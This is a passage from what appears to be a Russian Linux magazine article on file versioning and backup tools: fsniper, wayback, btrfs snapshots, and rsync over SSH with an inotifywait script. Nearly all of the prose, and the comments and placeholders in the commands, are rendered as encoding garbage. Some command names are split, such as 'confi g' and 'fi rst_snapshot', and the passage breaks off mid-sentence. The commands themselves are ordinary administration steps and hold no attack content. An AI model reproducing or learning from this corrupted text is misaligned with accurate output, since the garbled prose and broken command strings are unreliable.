ÎÆ ÒÓÏÌÝ ÐÏÌÆÈÎÁ, ÎÏ à ÐÑÏÒÓÏ ÎÆ ÍÏÄÔ ÏÂÏÊÓÉ ÆÆ ÒÓÏÑÏÎÏÊ.
°ÑÏÄÑÁÍÍÁ fsniper ÂÜÌÁ ÎÁÐÉÒÁÎÁ Ò ×ÆÌÝß ÔÐÏÑàÅÏØÉÓÝ É ÁÃÓÏÍÁÓÉ-
ÈÉÑÏÃÁÓÝ ÔÐÑÁÃÌÆÎÉÆ ÕÁÊÌÁÍÉ. ¡ÎÁÌÏÄÉØÎÏ incron ÏÎÁ ÇÅÆÓ ÒÏÂÜÓÉÊ, 
ÎÁÖÏÅàÒÝ Ã ÕÏÎÆ, ÎÏ ÃÍÆÒÓÏ ÓÏÄÏ ØÓÏÂÜ ÐÏÈÃÏÌÉÓÝ ÐÏÌÝÈÏÃÁÓÆÌß ÒÁÍÏÍÔ 
ÈÁÅÁÃÁÓÝ ÓÉÐ ÒÏÂÜÓÉÊ, ÏÎÁ ÔÍÆÆÓ ÏÂÑÁÂÁÓÜÃÁÓÝ ÓÏÌÝËÏ ÃÎÏÃÝ ÒÏÈÅÁÎÎÜÆ 

ÕÁÊÌÜ É ÎÁ ÏÒÎÏÃÆ ÍÁÒËÉ ÉÖ ÉÍÆÎÉ ÏÐÑÆÅÆÌàÓÝ ÒÏÃÆÑÙÁÆÍÜÆ ÎÁÅ ÎÉÍÉ 
ÅÆÊÒÓÃÉà.
¸ÓÏÂÜ ÐÏÎàÓÝ, ÈÁØÆÍ ÞÓÏ ÎÔÇÎÏ, ÐÑÆÅÒÓÁÃÝ, ØÓÏ Ô ÓÆÂà ÆÒÓÝ ËÁÓÁÌÏÄ, Ã ËÏ-
ÓÏÑÜÊ ÒËÌÁÅÜÃÁßÓÒà ÃÒÆ ÒËÁØÁÎÎÜÆ ÉÈ ÉÎÓÆÑÎÆÓÁ ÕÁÊÌÜ (ÒÐÏÑß, ØÓÏ ÓÁË 
ÏÎÏ É ÆÒÓÝ). £ÑÆÍà ÏÓ ÃÑÆÍÆÎÉ ÒËÏÐÉÃÙÔßÒà ËÔØÔ ÉÎÕÏÑÍÁ×ÉÉ ÐÑÉÖÏÅÉÓ-
Òà ÑÁÈÄÑÆÂÁÓÝ, ÐÆÑÆÍÆÚÁà ÉÈÏÂÑÁÇÆÎÉà Ã ËÁÓÁÌÏÄ ~/images, ÃÉÅÆÏÕÁÊ-
ÌÜ — Ã ~/video, ÍÔÈÜËÔ — Ã ~/music É Ó.Å. ³ÁË ÃÏÓ, fsniper ÂÆÑÆÓ ÎÁ ÒÆÂà ÃÒß 
ÞÓÔ ÑÁÂÏÓÔ, ÑÔËÏÃÏÅÒÓÃÔàÒÝ ÒÏÒÓÁÃÌÆÎÎÜÍ ÓÏÂÏÊ ÒÐÉÒËÏÍ ÐÑÁÃÉÌ. ̄ ÅÉÎ 
ÑÁÈ ÎÁÐÉÒÁÃ ÐÑÁÃÉÌÁ, ÓÜ ÍÏÇÆÙÝ ÎÁÃÒÆÄÅÁ ÈÁÂÜÓÝ Ï ÑÔØÎÏÍ ÓÑÔÅÆ É ÎÁ-
ÒÌÁÇÅÁÓÝÒà ÁÃÓÏÍÁÓÉØÆÒËÏÊ ÑÁÒÕÁÒÏÃËÏÊ.
²ÁÍÉ ÐÑÁÃÉÌÁ ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÜ Ã ÒÏÒÓÁÃÌÆÎÉÉ É ØÓÆÎÉÉ, ÐÏÞÓÏÍÔ ÐÑÏ-
×ÆÒÒ ÎÁÐÉÒÁÎÉà ÐÑÁÃÉÌÝÎÏÄÏ ËÏÎÕÉÄÔÑÁ×ÉÏÎÎÏÄÏ ÕÁÊÌÁ ÎÆ ÈÁÊÍÆÓ 
ÍÎÏÄÏ ÃÑÆÍÆÎÉ. £ÒÆ, ØÓÏ ÎÔÇÎÏ ÅÌà ÞÓÏÄÏ ÒÅÆÌÁÓÝ, ÞÓÏ ÔÒÓÁÎÏÃÉÓÝ 
fsniper:

$ sudo apt-get install fsniper

²ÏÈÅÁÓÝ ËÁÓÁÌÏÄ ÅÌà ËÏÎÕÉÄÁ:

$ mkdir ~/.confi g/fsniper

© ÐÏÍÆÒÓÉÓÝ Ã ÎÆÄÏ ÕÁÊÌ config ÐÑÉÍÆÑÎÏ ÒÌÆÅÔßÚÆÄÏ ÒÏÅÆÑÇÁÎÉà:

$ vi ~/.confi g/fsniper/confi g
watch {
    # ǭȔȕȟȲȘȔșȠȯȝ ȞȔȦȔȟȢȗ
    ~/downloads {
        image/* {
            handler = cp %% ~/images
        }
        video/* {
            handler = cp %% ~/video
        }
        audio/* {
            handler = cp %% ~/music
        }
    }
}

¾ÓÉ ÐÑÁÃÉÌÁ ÏÐÉÒÜÃÁßÓ ÉÍÆÎÎÏ ÓÔ ÒÉÓÔÁ×Éß, Ï ËÏÓÏÑÏÊ à ÄÏÃÏÑÉÌ ÃÜÙÆ, 
ÑÁÈÎÜÆ ÓÉÐÜ ÅÁÎÎÜÖ ÐÏÍÆÚÁßÓÒà Ã ÑÁÈÎÜÆ ËÁÓÁÌÏÄÉ. ̄ ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, 
ØÓÏ Ã ËÁØÆÒÓÃÆ ÍÆÓÏÅÁ ËÌÁÒÒÉÕÉËÁ×ÉÉ ÍÜ ÉÒÐÏÌÝÈÏÃÁÌÉ mime-ÓÉÐ, 
ÓÁËÇÆ ÅÏÐÔÒËÁÆÓÒà ÉÒÐÏÌÝÈÏÃÁÎÉÆ ÍÁÒÏË ÕÁÊÌÏÃ (ÎÁÐÑÉÍÆÑ, *.avi) ÉÌÉ 
ÑÆÄÔÌàÑÎÜÆ ÃÜÑÁÇÆÎÉà (.*HDRip.*).
³ÆÐÆÑÝ ÍÏÇÎÏ ÈÁÐÔÒÓÉÓÝ fsniper Ã ÑÆÇÉÍÆ ÅÆÍÏÎÁ É ÎÁÒÌÁÇÅÁÓÝÒà 
ÑÆÈÔÌÝÓÁÓÏÍ:

$ fsniper --daemon

¦ÅÉÎÒÓÃÆÎÎÏÆ, ØÓÏ ÎÔÇÎÏ ÔØÆÒÓÝ, ÞÓÏ ÓÏ, ØÓÏ Ã ÏÓÌÉØÉÆ ÏÓ incron, fsniper 
ÑÁÂÏÓÁÆÓ ÏÓ ÏÂÜØÎÏÄÏ ÐÏÌÝÈÏÃÁÓÆÌà, Á ÐÏÓÏÍÔ ÏÎ ÅÏÌÇÆÎ ÂÜÓÝ ÈÁÐÔÚÆÎ 
ÃÏ ÃÑÆÍà ÃÖÏÅÁ ÐÏÌÝÈÏÃÁÓÆÌà Ã ÒÉÒÓÆÍÔ ÉÌÉ ÈÁÐÔÒËÁ ÄÑÁÕÉØÆÒËÏÊ ÏÂÏ-
ÌÏØËÉ. °ÏÌÝÈÏÃÁÓÆÌÉ Gnome É KDE ÍÏÄÔÓ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà ÃÒÓÑÏÆÎÎÜÍÉ 
ËÏÎÕÉÄÔÑÁÓÏÑÁÍÉ ÅÌà ÃÜÐÏÌÎÆÎÉà ÞÓÏÊ ÏÐÆÑÁ×ÉÉ, ÅÌà ÃÒÆÖ ÏÒÓÁÌÝÎÜÖ 
ÆÒÓÝ ÕÁÊÌ ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ ~/.xsession:

$ vi ~/.xsession
fsniper --daemon &

Путь назад
©ÓÁË, ÍÜ ÑÁÒÒÍÏÓÑÆÌÉ ÎÆÒËÏÌÝËÏ hand made-ÒÐÏÒÏÂÏÃ ÏÓËÁÓÉÓÝ ÕÁÊÌÜ 
Ë ÐÑÆÅÜÅÔÚÉÍ ÒÏÒÓÏàÎÉàÍ, É ÓÆÐÆÑÝ ÎÁÒÓÁÌÏ ÃÑÆÍà ÃÜàÒÎÉÓÝ, ÆÒÓÝ ÌÉ Ã 
Linux ÂÏÌÆÆ ÔÎÉÕÉ×ÉÑÏÃÁÎÎÜÆ É ÒÓÁÎÅÁÑÓÉÈÏÃÁÎÎÜÆ ÒÐÏÒÏÂÜ ÒÅÆÌÁÓÝ 
ÞÓÏ. ¦ÒÓÝ ÌÉ ÈÅÆÒÝ ÕÁÊÌÏÃÜÆ ÒÉÒÓÆÍÜ, ËÏÓÏÑÜÆ ÉÈ ËÏÑÏÂËÉ ÐÑÆÅÏÒÓÁÃàÓ 
ÒÐÏÒÏÂ ÅÆÌÁÓÝ ÑÆÈÆÑÃÎÜÆ ËÏÐÉÉ ÕÁÊÌÏÃ É ÃÏÒÒÓÁÎÁÃÌÉÃÁÓÝ ÉÖ.
«ÁË ÏËÁÈÁÌÏÒÝ, ÓÁËÉÆ ÒÉÒÓÆÍÜ ÆÒÓÝ, É ÉÖ ÎÆ ÅÃÆ-ÓÑÉ, Á ÅÆÒàÓÏË. ̄ ÅÎÁ 
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ÉÈ ÒÁÍÜÖ ÔÅÏÂÎÜÖ É ÉÎÓÆÑÆÒÎÜÖ ÉÈ ÎÉÖ ÎÏÒÉÓ ÉÍà wayback (wayback.
sourceforge.net). ¦Æ ÐÑÆÉÍÔÚÆÒÓÃÏ Ã ÓÏÍ, ØÓÏ ÏÎÁ ÑÁÂÏÓÁÆÓ ÐÏÃÆÑÖ 
ÒÔÚÆÒÓÃÔßÚÆÊ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ, Á ÈÎÁØÉÓ, ÎÆ ÓÑÆÂÔÆÓ ÐÆÑÆÒÏÈÅÁÎÉà 
ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ É ËÁËÉÖ ÂÜ ÓÏ ÎÉ ÂÜÌÏ ÍÁÎÉÐÔÌà×ÉÊ Ò ÒÔÚÆÒÓÃÔß-
ÚÉÍÉ ÕÁÊÌÁÍÉ. ¥ÏÒÓÁÓÏØÎÏ ÐÑÏÒÓÏ ÔÒÓÁÎÏÃÉÓÝ wayback, ÉÒÐÏÌÝÈÔà 
ÐÁËÆÓÎÜÊ ÍÆÎÆÅÇÆÑ:

$ sudo apt-get install wayback

© ÒÍÏÎÓÉÑÏÃÁÓÝ µ² Ë ÎÔÇÎÏÍÔ ËÁÓÁÌÏÄÔ Ò ÐÏÍÏÚÝß ËÏÍÁÎÅÜ mount.
wayback:

$ mount.wayback /ȢȤȜȗȜȡȔȟȰȡȯȝ/ȞȔȦȔȟȢȗ /ȦȢȫȞȔ/ȠȢȡȦȜȤȢȖȔȡȜȳ

£ÒÆ, ÓÆÐÆÑÝ ÌßÂÏÆ ÉÈÍÆÎÆÎÉÆ ÕÁÊÌÁ ÃÏ ÃÓÏÑÏÍ ËÁÓÁÌÏÄÆ ÐÑÉÃÆÅÆÓ Ë 
ÐÑÏÈÑÁØÎÏÍÔ ÒÏÈÅÁÎÉß ÆÄÏ ÑÆÈÆÑÃÎÏÊ ËÏÐÉÉ, Á ÒÌÆÅÔßÚÆÆ ÉÈÍÆÎÆÎÉÆ 
— Ë ÐÏàÃÌÆÎÉß ÆÚÆ ÏÅÎÏÊ ËÏÐÉÉ. ¥Ìà ÐÑÏÒÍÏÓÑÁ ÒÐÉÒËÁ ÃÒÆÖ ÂÞËÁÐÏÃ 
ÃÜÂÑÁÎÎÏÄÏ ÕÁÊÌÁ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ËÏÍÁÎÅÔ vstat:

$ vstat ȨȔȝȟ

¡ ØÓÏÂÜ ÃÆÑÎÔÓÝ ÆÄÏ Ë ÏÅÎÏÊ ÉÈ ÐÑÆÅÜÅÔÚÉÖ ÃÆÑÒÉÊ — ËÏÍÁÎÅÔ vrevert:

$ vrevert -d 12:00:00 ȨȔȝȟ

³ÁË ÕÁÊÌ ÒÎÏÃÁ ÒÓÁÎÆÓ ÓÁËÉÍ, ËÁËÉÍ ÏÎ ÂÜÌ Ã 12 ØÁÒÏÃ. £ÑÆÍà ÍÏÇÎÏ 

ÔËÁÈÁÓÝ É ÐÏÓÏØÎÆÆ, ÎÁÐÑÉÍÆÑ, ÅÏÂÁÃÉÓÝ ÅÁÓÔ:

$ vrevert -d 2011:01:01:0:00:00 ȨȔȝȟ

¶ÏÓà, ÒËÏÑÆÆ ÃÒÆÄÏ, ÐÑÏÚÆ ÂÔÅÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ÎÏÍÆÑ ÒÏÖÑÁÎÆÎÎÏÊ ÃÆÑ-
ÒÉÉ, ËÏÓÏÑÜÊ ÃÜÃÏÅÉÓ ÏÐÉÒÁÎÎÁà ÑÁÎÆÆ ËÏÍÁÎÅÁ vstat:

$ vrevert -n 5 ȨȔȝȟ

£ ËÏÎ×Æ ËÏÎ×ÏÃ, ØÓÏÂÜ ÃÒÆ ÞÓÉ ÑÆÈÆÑÃÎÜÆ ËÏÐÉÉ ÎÆ ÈÁÖÌÁÍÌàÌÉ ÇÆÒÓËÉÊ 
ÅÉÒË, ÉÖ ÍÏÇÎÏ ÐÏÓÆÑÆÓÝ ËÏÍÁÎÅÏÊ vrm:

$ vrm ȨȔȝȟ

© ÐÑÏÅÏÌÇÁÓÝ ÒÐÏËÏÊÎÏ ÉÈÍÆÎàÓÝ ÕÁÊÌÜ, Ã ÑÆÈÔÌÝÓÁÓÆ ØÆÄÏ ÂÔÅÔÓ ÐÌÏ-
ÅÉÓÝÒà ÃÒÆ ÎÏÃÜÆ É ÎÏÃÜÆ ÃÆÑÒÉÉ. °ÑÏÒÓÏ, ÎÆ ÓÁË ÌÉ?

Назад, в будущее
£ÒÆ ÑÁÒÒÍÏÓÑÆÎÎÜÆ ÑÁÎÆÆ ÐÏÅÖÏÅÜ ÉÒÐÏÌÝÈÔßÓ ÃÆÑÒÉÏÎÎÏÒÓÝ ÕÁÊÌÏÃ 
ÅÌà ÏÂÆÒÐÆØÆÎÉà ÃÏÈÍÏÇÎÏÒÓÉ ÉÖ ÏÓËÁÓÁ Ë ÐÑÏÙÌÜÍ ÃÆÑÒÉàÍ. ̄ ÅÎÁËÏ 
ÉÎÏÄÅÁ ÒÎÁÐÙÏÓÜ ÍÏÄÔÓ ÒÓÁÓÝ ÂÏÌÆÆ ÅÆÊÒÓÃÆÎÎÜÍ ÒÐÏÒÏÂÏÍ ÖÑÁÎÆÎÉà 
ÏÑÉÄÉÎÁÌÏÃ.
²ÔÓÝ ÒÎÁÐÙÏÓÏÃ ÒÏÒÓÏÉÓ Ã ÓÏÍ, ØÓÏÂÜ ÅÁÓÝ ÐÏÌÝÈÏÃÁÓÆÌß ÃÏÈÍÏÇÎÏÒÓÝ 
ÒÅÆÌÁÓÝ ÒÎÉÍÏË ÒÏÒÓÏàÎÉà ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ É ÐÏÈÃÏÌÉÓÝ ÃÆÑÎÔÓÝ 
µ² Ë ÞÓÏÍÔ ÒÏÒÓÏàÎÉß Ã ÌßÂÏÊ ÍÏÍÆÎÓ ÃÑÆÍÆÎÉ. ̄ ÂÜØÎÏ ÍÆÖÁÎÉÈÍ 
ÒÎÁÐÙÏÓÏÃ ÃÒÓÑÏÆÎ ÐÑàÍÏ Ã ÕÁÊÌÏÃÔß ÒÉÒÓÆÍÔ, ÐÏÞÓÏÍÔ ÁÂÒÏÌßÓÎÏ 

Генерируем новый SSH-ключ для rsync
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ÐÑÏÈÑÁØÆÎ ÅÌà ÐÏÌÝÈÏÃÁÓÆÌà É ÔÅÏÂÆÎ Ã ÉÒÐÏÌÝÈÏÃÁÎÉÉ. ²ÓÁÎÅÁÑÓÎÜÆ 
ÕÁÊÌÏÃÜÆ ÒÉÒÓÆÍÜ ext3 É ext4 ÎÆ ÐÏÅÅÆÑÇÉÃÁßÓ ÞÓÏÓ ÍÆÖÁÎÉÈÍ (Ã ÐÏ-
ÒÌÆÅÎÆÊ ÏÎ ÅÏÌÇÆÎ ÐÏàÃÉÓÝÒà Ã ÂÌÉÇÁÊÙÆÆ ÃÑÆÍà), ÈÁÓÏ ÆÄÏ ÐÏÅÅÆÑÇ-
ËÁ ÆÒÓÝ Ã btrfs, ËÏÓÏÑÁà ÖÏÓÝ É ÒØÉÓÁÆÓÒà ÎÆÒÓÁÂÉÌÝÎÏÊ, ÎÏ ÃËÌßØÆÎÁ 
Ã Linux-àÅÑÏ (ÎÁØÉÎÁà Ò ÃÆÑÒÉÉ 2.6.29-rc). °ÏÞÓÏÍÔ ÆÒÌÉ ÎÁ ÓÃÏÆÊ 
ÍÁÙÉÎÆ ÔÒÓÁÎÏÃÌÆÎ ÅÏÒÓÁÓÏØÎÏ ÒÃÆÇÉÊ ÅÉÒÓÑÉÂÔÓÉÃ, Á ÓÁËÇÆ ÉÍÆÆÓÒà 
ÒÃÏÂÏÅÎÜÊ ÑÁÈÅÆÌ ÅÌà ÞËÒÐÆÑÉÍÆÎÓÏÃ, ÎÁÒÓÏàÓÆÌÝÎÏ ÑÆËÏÍÆÎÅÔß ÃÏÒ-
ÐÏÌÝÈÏÃÁÓÝÒà ÞÓÏÊ ÃÏÈÍÏÇÎÏÒÓÝß.
¥Ìà ÑÁÂÏÓÜ Ò btrfs ÎÔÇÎÜ ÔÓÉÌÉÓÜ, ÑÁÒÐÑÏÒÓÑÁÎàÆÍÜÆ Ã ÐÁËÆÓÆ btrfs-
progs (Ã ÎÆËÏÓÏÑÜÖ ÅÉÒÓÑÉÂÔÓÉÃÁÖ — btrfs-progs-unstable). ©Ö ÎÔÇÎÏ 
ÔÒÓÁÎÏÃÉÓÝ Ã ÐÆÑÃÔß ÏØÆÑÆÅÝ:

$ sudo apt-get install btrfs-progs

¥ÁÌÆÆ ÒÌÆÅÔÆÓ ÃÜÂÑÁÓÝ ÐÏÅÖÏÅàÚÉÊ ÑÁÈÅÆÌ, ÒÏÈÅÁÓÝ ÎÁ ÎÆÍ ÕÁÊÌÏÃÔß 
ÒÉÒÓÆÍÔ É ÒÍÏÎÓÉÑÏÃÁÓÝ ÆÆ:

$ sudo mkfs.btrfs /dev/sdXX
$ sudo mount /dev/sdXX /mnt

³ÆÐÆÑÝ ÕÁÊÌÏÃÔß ÒÉÒÓÆÍÔ ÍÏÇÎÏ ÎÁÐÏÌÎÉÓÝ ÅÁÎÎÜÍÉ, Á ÈÁÓÆÍ ÒÅÆÌÁÓÝ 
ÒÎÁÐÙÏÓ Ò ÐÏÍÏÚÝß ÒÌÆÅÔßÚÆÊ ËÏÍÁÎÅÜ:

$ sudo btrfsctl -s fi rst_snapshot /mnt

¸ÆÑÆÈ ËÁËÏÆ-ÓÏ ÃÑÆÍà ÍÏÇÎÏ ÒÅÆÌÁÓÝ ÒÌÆÅÔßÚÉÊ ÒÎÁÐÙÏÓ:

$ sudo btrfsctl -s second_snapshot /mnt

«ÏÌÉØÆÒÓÃÏ ÒÎÁÐÙÏÓÏÃ ÎÆ ÏÄÑÁÎÉØÆÎÏ, ÐÏÞÓÏÍÔ ÐÆÑÆÅ ËÁÇÅÜÍ ÃÁÇÎÜÍ 
ÉÈÍÆÎÆÎÉÆÍ ÕÁÊÌÏÃ ÍÏÇÎÏ ÅÆÌÁÓÝ ÃÒÆ ÎÏÃÜÆ É ÎÏÃÜÆ ÒÎÁÐÙÏÓÜ. ̧ ÓÏÂÜ 
ÃÆÑÎÔÓÝ ÕÁÊÌÏÃÔß ÒÉÒÓÆÍÔ Ë ÓÏÍÔ ÒÏÒÓÏàÎÉß, Ã ËÏÓÏÑÏÍ ÏÎÁ ÎÁÖÏÅÉÌÁÒÝ 
ÃÏ ÃÑÆÍà ÏÅÎÏÄÏ ÉÈ ÒÎÁÐÙÏÓÏÃ, ÎÆÏÂÖÏÅÉÍÏ ÐÑÏÒÓÏ ÒÍÏÎÓÉÑÏÃÁÓÝ ÆÆ Ò 
ÏÐ×ÉÆÊ «subvol=ÉÍà_ÒÎÁÐÙÏÓÁ»:

$ sudo umount /mnt
$ sudo mount -o subvol=fi rst_snapshot /dev/hdXX /mnt

®Ï ÄÏÑÁÈÅÏ ÔÅÏÂÎÆÆ ÒÑÁÈÔ ÍÏÎÓÉÑÏÃÁÓÝ ÕÁÊÌÏÃÔß ÒÉÒÓÆÍÔ Ò ÏÐ×ÉÆÊ 
«subvol=.», ÂÌÁÄÏÅÁÑà ØÆÍÔ ÃÒÆ ÒÎÁÐÙÏÓÜ ÂÔÅÔÓ ÃÉÅÎÜ Ã ÓÏØËÆ ÍÏÎÓÉÑÏ-
ÃÁÎÉà ËÁË ÐÑÏÒÓÜÆ ËÁÓÁÌÏÄÉ:

$ sudo umount /mnt
$ mount -o subvol=. /dev/hdXX /mnt
$ ls -1
default

fi rst_snapshot
second_snapshot

°ÑÉ ÑÁÂÏÓÆ ÒÏ ÒÎÁÐÙÏÓÁÍÉ btrfs ÉÒÐÏÌÝÈÔÆÓ ÍÆÖÁÎÉÈÍ copy-on-
write (ËÏÐÉÑÏÃÁÎÉÆ ÐÑÉ ÈÁÐÉÒÉ), ÓÁË ØÓÏ ÅÏÐÏÌÎÉÓÆÌÝÎÏÆ ÐÑÏÒÓÑÁÎ-
ÒÓÃÏ ÂÔÅÔÓ ÈÁÎÉÍÁÓÝ ÓÏÌÝËÏ ÓÆ ÕÁÊÌÜ, ÒÏÅÆÑÇÉÍÏÆ ËÏÓÏÑÜÖ ÂÜÌÏ 
ÑÆÁÌÝÎÏ ÉÈÍÆÎÆÎÏ. ®ÆÉÈÍÆÎÉÃÙÉÆÒà ÕÁÊÌÜ ÂÔÅÔÓ ÉÍÆÓÝ ÓÏÌÝËÏ 
ÏÅÎÔ ËÏÐÉß.

Удаленная сторона
®ÆÒÍÏÓÑà ÎÁ ÃÒÆ ÐÑÆÉÍÔÚÆÒÓÃÁ ÏÐÉÒÁÎÎÜÖ ÑÁÎÆÆ ÐÏÅÖÏÅÏÃ, ÖÑÁÎÆÎÉÆ 
ÑÆÈÆÑÃÎÜÖ ËÏÐÉÊ ÎÁ ÌÏËÁÌÝÎÏÊ ÍÁÙÉÎÆ ÎÆ ÒÁÍÁà ÔÅÁØÎÁà ÉÅÆà. ¦ÒÌÉ 
ÇÆÒÓËÉÊ ÅÉÒË ÃÜÊÅÆÓ ÉÈ ÒÓÑÏà, ÅÁÎÎÜÆ É ÉÖ ÂÆÑÆÇÎÏ ÒÏÖÑÁÎÆÎÎÜÆ ËÏÐÉÉ 
ÍÏÄÔÓ ÂÜÓÝ ÂÆÈÃÏÈÃÑÁÓÎÏ ÐÏÓÆÑàÎÜ. Ü ÅÏÌÇÎÜ ÐÏÈÁÂÏÓÉÓÝÒà Ï ÓÏÍ, 
ØÓÏÂÜ ÅÁÎÎÜÆ ÒÏÖÑÁÎàÌÉÒÝ ÎÁ ËÁËÏÍ-ÓÏ ÔÅÁÌÆÎÎÏÍ ÖÏÒÓÆ.
²ÁÍÜÊ ÐÑÏÒÓÏÊ É ÞÕÕÆËÓÉÃÎÜÊ ÒÐÏÒÏÂ ÒÅÆÌÁÓÝ ÔÅÁÌÆÎÎÏÆ ÑÆÈÆÑÃÎÏÆ 
ËÏÐÉÑÏÃÁÎÉÆ — ÞÓÏ ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà ÉÎÒÓÑÔÍÆÎÓÏÍ ÐÏÅ ÎÁÈÃÁÎÉÆÍ 
rsync. ¾ÓÁ ÒÉÒÓÆÍÁ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ/ËÏÐÉÑÏÃÁÎÉà ÕÁÊÌÏÃ ÍÏÇÆÓ ÂÜÓÝ 
ÉÒÐÏÌÝÈÏÃÁÎÁ ËÁË ÅÌà ÌÏËÁÌÝÎÏÄÏ ÂÞËÁÐÁ ÕÁÊÌÏÃ, ÓÁË É ÅÌà ÉÖ ÐÆÑÆ-
ÅÁØÉ ÎÁ ÔÅÁÌÆÎÎÔß ÒÓÏÑÏÎÔ. °ÑÉ ÞÓÏÍ ÒÉÎÖÑÏÎÉÈÉÑÔÆÍÜÆ ÕÁÊÌÜ ÍÏÄÔÓ 
ÉÍÆÓÝ ÉÎËÑÆÍÆÎÓÁÌÝÎÜÆ ÂÞËÁÐÜ, Á ÞÓÏ ÈÎÁØÉÓ, ØÓÏ ÐÑÉ ÍÎÏÄÏËÑÁÓÎÏÍ 
ÂÞËÁÐÆ ÏÅÎÉÖ É ÓÆÖ ÇÆ ÅÁÎÎÜÖ ÂÔÅÔÓ ÒÏÖÑÁÎÆÎÜ ÓÏÌÝËÏ ÉÖ ÉÈÍÆÎÆÎÎÜÆ 
ØÁÒÓÉ, Á ÎÆ ÃÆÒÝ ÕÁÊÌ ×ÆÌÉËÏÍ, ËÁË ÞÓÏ ÐÑÏÉÒÖÏÅÉÓ ÐÑÉ ÉÒÐÏÌÝÈÏÃÁ-
ÎÉÉ ÒËÑÉÐÓÏÃ, ÏÐÉÒÁÎÎÜÖ Ã ÐÆÑÃÏÊ ØÁÒÓÉ ÒÓÁÓÝÉ.
©ÎÒÓÑÔÍÆÎÓ rsync ÍÏÇÆÓ ÂÜÓÝ ÉÒÐÏÌÝÈÏÃÁÎ ËÁË ÅÌà ÏÑÄÁÎÉÈÁ×ÉÉ ÏÂ-
ÑÁÓÎÏÊ ÒÉÒÓÆÍÜ ÂÞËÁÐÁ, ËÏÄÅÁ ÒÆÑÃÆÑ ÒÏÂÉÑÁÆÓ ÕÁÊÌÜ Ò ÎÔÇÎÜÖ ÒÆÓÆÃÜÖ 
ÍÁÙÉÎ É ÒÏÖÑÁÎàÆÓ ÉÖ ÎÁ ÒÃÏÆÍ ÇÆÒÓËÏÍ ÅÉÒËÆ, ÓÁË É ÅÌà ÐÑàÍÏÄÏ ÂÞËÁÐÁ 
ÎÁ ÔÅÁÌÆÎÎÔß ÒÓÏÑÏÎÔ. £ ÑÁÍËÁÖ ÞÓÏÊ ÒÓÁÓÝÉ ÍÜ ÑÁÒÒÍÏÓÑÉÍ ÓÏÌÝËÏ 
ÃÓÏÑÏÊ ÍÆÓÏÅ.
²ÁÍÜÊ ÐÑÏÒÓÏÊ ÒÐÏÒÏÂ ÉÒÐÏÌÝÈÏÃÁÓÝ rsync — ÞÓÏ ÅÏÃÆÑÉÓÝ ÆÍÔ ËÏÐÉÑÏ-
ÃÁÎÉÆ ÕÁÊÌÏÃ ÎÁ ÔÅÁÌÆÎÎÔß ÍÁÙÉÎÔ ÐÏ ÐÑÏÓÏËÏÌÔ SSH. ́ ÒÓÁÎÁÃÌÉÃÁÆÍ É 
ÈÁÐÔÒËÁÆÍ ÐÑÏÄÑÁÍÍÔ:

$ sudo apt-get install rsync
$ rsync -a --delete -e ssh /ȣȧȦȰ/ȘȢ/ȞȔȦȔȟȢȗȔ \
    ȲțșȤ@ȩȢȥȦ:/ȣȧȦȰ/ȘȢ/ȞȔȦȔȟȢȗȔ

¸ÓÏÂÜ ËÏÍÁÎÅÁ ÎÆ ÈÁÐÑÁÙÉÃÁÌÁ ÐÁÑÏÌÝ, ÎÆÏÂÖÏÅÉÍÏ ÎÁÒÓÑÏÉÓÝ ÁÔÓÆÎ-
ÓÉÕÉËÁ×Éß ÎÁ ÂÁÈÆ ÐÔÂÌÉØÎÏÄÏ ËÌßØÁ. ¥Ìà ÎÁÒÓÑÏÊËÉ ÎÆÍÆÅÌÆÎÎÏÄÏ 
ÂÞËÁÐÁ ÎÁ ÔÅÁÌÆÎÎÔß ÍÁÙÉÎÔ ÒÅÆÌÁÆÍ ÍÏÅÉÕÉ×ÉÑÏÃÁÎÎÔß ÃÆÑÒÉß ÔÇÆ 
ÑÁÒÒÍÏÓÑÆÎÎÏÄÏ ÑÁÎÆÆ ÒËÑÉÐÓÁ:

$ vi ~/bin/in-rsync.sh

#!/bin/sh
DIR=`pwd`
# ǨȠȳ ȣȢȟȰțȢȖȔȦșȟȳ ȡȔ ȧȘȔȟșȡȡȢȠ ȩȢȥȦș Ȝ ȞȔȦȔȟȢȗ Șȟȳ ȕȱȞȔȣȔ
USER="vasya"
HOST="host.com"
REMOTEDIR="/backup"
inotifywait -mr --timefmt '%d-%m-%y %H-%M' \
    --format'%T %f' -e close_write $DIR | \
while read DATE TIME FILE; do
    rsync -a --delete -e ssh ${DIR}/${FILE} \
        ${USER}@${HOST}:${REMOTEDIR}
done

³ÆÐÆÑÝ ÐÏÒÌÆ ËÁÇÅÏÄÏ ÉÈÍÆÎÆÎÉà ÕÁÊÌÜ ÂÔÅÔÓ ÂÞËÁÐÉÓÝÒà ÎÁ ÔÅÁÌÆÎÎÔß 
ÍÁÙÉÎÔ. ¢ÜÌÏ ÂÜ ÖÏÑÏÙÏ ÅÏÂÁÃÉÓÝ Ë ÞÓÏÊ ÒÖÆÍÆ ÆÚÆ É ÖÑÁÎÆÎÉÆ ÃÆÑÒÉÊ 
ÕÁÊÌÏÃ, ÎÏ ÞÓÁ ÈÁÅÁØÁ ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÏ ÑÆÙÁÆÓÒà Ò ÐÏÍÏÚÝß ÉÎÒÓÑÔÍÆÎ-
ÓÁ rsnapshot, ÏÂÈÏÑ ËÏÓÏÑÏÄÏ ÃÜÖÏÅÉÓ ÈÁ ÑÁÍËÉ ÅÁÎÎÏÊ ÒÓÁÓÝÉ.

Выводы
£ÆÑÎÔÓÝ ÕÁÊÌÜ ÉÈ ÎÆÂÜÓÉà ÍÏÇÎÏ ÍÎÏÇÆÒÓÃÏÍ ÑÁÈÎÜÖ ÒÐÏÒÏÂÏÃ, 
ÒÆÄÏÅÎà ÍÜ ÑÁÒÒÍÏÓÑÆÌÉ ÓÏÌÝËÏ ØÁÒÓÝ ÉÈ ÎÉÖ. «ÁËÏÊ ÒÐÏÒÏÂ ÉÒÐÏÌÝ-
